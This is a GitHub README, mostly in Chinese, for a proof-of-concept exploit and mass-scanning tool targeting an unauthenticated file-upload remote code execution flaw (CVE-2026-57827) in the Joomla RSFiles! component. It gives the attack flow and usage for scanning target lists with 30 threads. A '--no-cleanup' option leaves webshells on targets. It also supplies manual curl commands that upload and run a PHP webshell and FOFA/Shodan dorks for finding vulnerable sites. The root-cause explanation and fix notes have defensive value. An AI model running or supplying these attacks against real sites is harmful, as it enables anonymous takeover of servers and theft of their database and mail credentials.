shinthink/CVE-2026-57827
GitHub: shinthink/CVE-2026-57827
针对 Joomla RSFiles! 组件未授权文件上传远程代码执行漏洞(CVE-2026-57827)的 PoC 漏洞利用与批量检测工具。
Stars: 0 | Forks: 0
CVE-2026-57827 — RSFiles! Joomla 组件未授权文件上传 RCE
分离控制器上传绕过 → 直接执行写入任务 → /downloads/shell.php → RCE
## 概述
**CVE-2026-57827** 是 **RSFiles!** (com_rsfiles) 中一个严重级别 (CVSS 9.8) 的**未授权**任意文件上传漏洞。RSFiles! 是 Joomla 广泛使用的文件管理和下载组件,受影响版本为 **< 1.17.12**。
该漏洞利用了一个分离控制器设计缺陷:RSFiles! 将其上传过程分离为两个前端任务——预检(权限门控 + 扩展名白名单)和写入方法(将文件保存到磁盘)。该写入方法可以被**直接**调用,从而完全绕过预检。无需身份验证,也无需 CSRF token。
### 受影响版本
| 版本 | 状态 |
|---|---|
| < 1.17.12 | 存在漏洞 |
| 1.17.12+ | 已修复 |
## 漏洞机制
### 根本原因
RSFiles! 将其上传过程拆分为两个独立的前端任务:
```
// Task 1 — Pre-flight check (GUARDED)
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkUpload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (UNGUARDED — the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's bundled upload handler, which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// Joomla's JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /components/com_rsfiles/downloads/
}
```
### 原理分析
1. **分离控制器** — 安全检查与文件写入位于两个不同的方法中。只有预检受到防护。
2. **直接任务访问** — Joomla 的前端控制器允许通过 `&task=rsfiles.upload` 直接调用任何任务,从而完全跳过预检。
3. **无身份验证** — 前端控制器没有访问控制检查。匿名访客即可调用写入任务。
4. **无 CSRF token** — 前端上传表单没有全站 CSRF token。
5. **无文件类型验证** — 写入方法从请求中读取文件名并将其传递给 Joomla 内置的上传处理程序 (`JFile::upload()`),该处理程序默认接受任何文件类型。
6. **Web 根目录下的下载文件夹** — RSFiles! 的默认下载文件夹位于 web 根目录下。本应阻止在此处执行 PHP 的保护性 `.htaccess` 是一个**可选的**管理员设置,且默认**关闭**。
### 攻击流程
```
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=
(multipart, PHP payload)
format=raw
3. Joomla's frontend controller dispatches to rsfiles.upload()
→ No permission check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /components/com_rsfiles/downloads/{shell_name}.php
5. GET /components/com_rsfiles/downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
```
### 关键设计缺陷
安全检查(权限门控 + 扩展名白名单)与实际写入文件的方法是**分离的预检步骤**。只有第一步包含检查。第二步——即写入磁盘的方法——可以通过在 URL 中构造特定的 `task` 参数来**直接调用**,从而绕过所有安全控制。
这是“检查与操作分离”(checks and actions in different places)反模式的教科书式案例:防护措施与其本应保护的操作是解耦的,攻击者可以不经过防护措施直接触达操作。
## 安装
```
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
```
## 用法
```
# 单个目标
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug 模式,在目标上保留 shell
python cve_2026_57827.py -t target.com --debug --no-cleanup
```
### 参数
```
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
```
## 概念验证
### 单一目标
```
$ python cve_2026_57827.py -t joomla-site.com
```
```
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
```
### 手动利用
**第 1 步 — 上传 shell**
```
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload&format=raw' \
-F 'file=@shell.php'
```
**第 2 步 — 访问 shell**
```
curl 'https://target.com/components/com_rsfiles/downloads/shell.php?c=id'
```
**第 3 步 — 执行命令**
```
curl 'https://target.com/components/com_rsfiles/downloads/shell.php?c=id;hostname;uname -a'
```
## FOFA / Shodan
```
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
```
## 影响
成功利用该漏洞将导致**以 web 服务器用户身份执行远程代码 (RCE)**:
- 提取 `configuration.php` → 获取数据库凭据、SMTP 密钥
- 访问所有 Joomla 内容、用户和扩展数据
- 部署持久化后门
- 渗透到内部网络
- 篡改网页或注入恶意软件
任何步骤都不需要网站账户。完全匿名、未授权、远程攻击。
## 修复方案 (1.17.12)
RSJoomla 在 1.17.12 版本中修复了该漏洞,方式如下:
- 在**写入方法**本身添加权限检查(不仅仅是预检)
- 在写入方法中添加文件类型验证
- 在前端上传端点强制校验 CSRF token
- 将下载文件夹中的 `.htaccess` 保护设置为**默认启用**
## 免责声明
## 参考资料
| 资源 | 链接 |
|---|---|
| NVD 条目 | [CVE-2026-57827](https://nvd.nist.gov/vuln/detail/CVE-2026-57827) |
| mySites.guru 公告 | [mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce](https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/) |
| RSJoomla 公告 | [rsjoomla.com](https://www.rsjoomla.com/joomla-extensions/joomla-download-manager.html) |
| CWE-434 | [危险类型文件的不受限上传](https://cwe.mitre.org/data/definitions/434.html) |
| 报告者 | Phil Taylor, mySites.guru |
与 RSJoomla 或 mySites.guru 无关。
标签:CISA项目, Joomla, Python, RCE, Web安全, 威胁模拟, 安全漏洞, 无后门, 无服务器架构, 蓝队分析, 逆向工具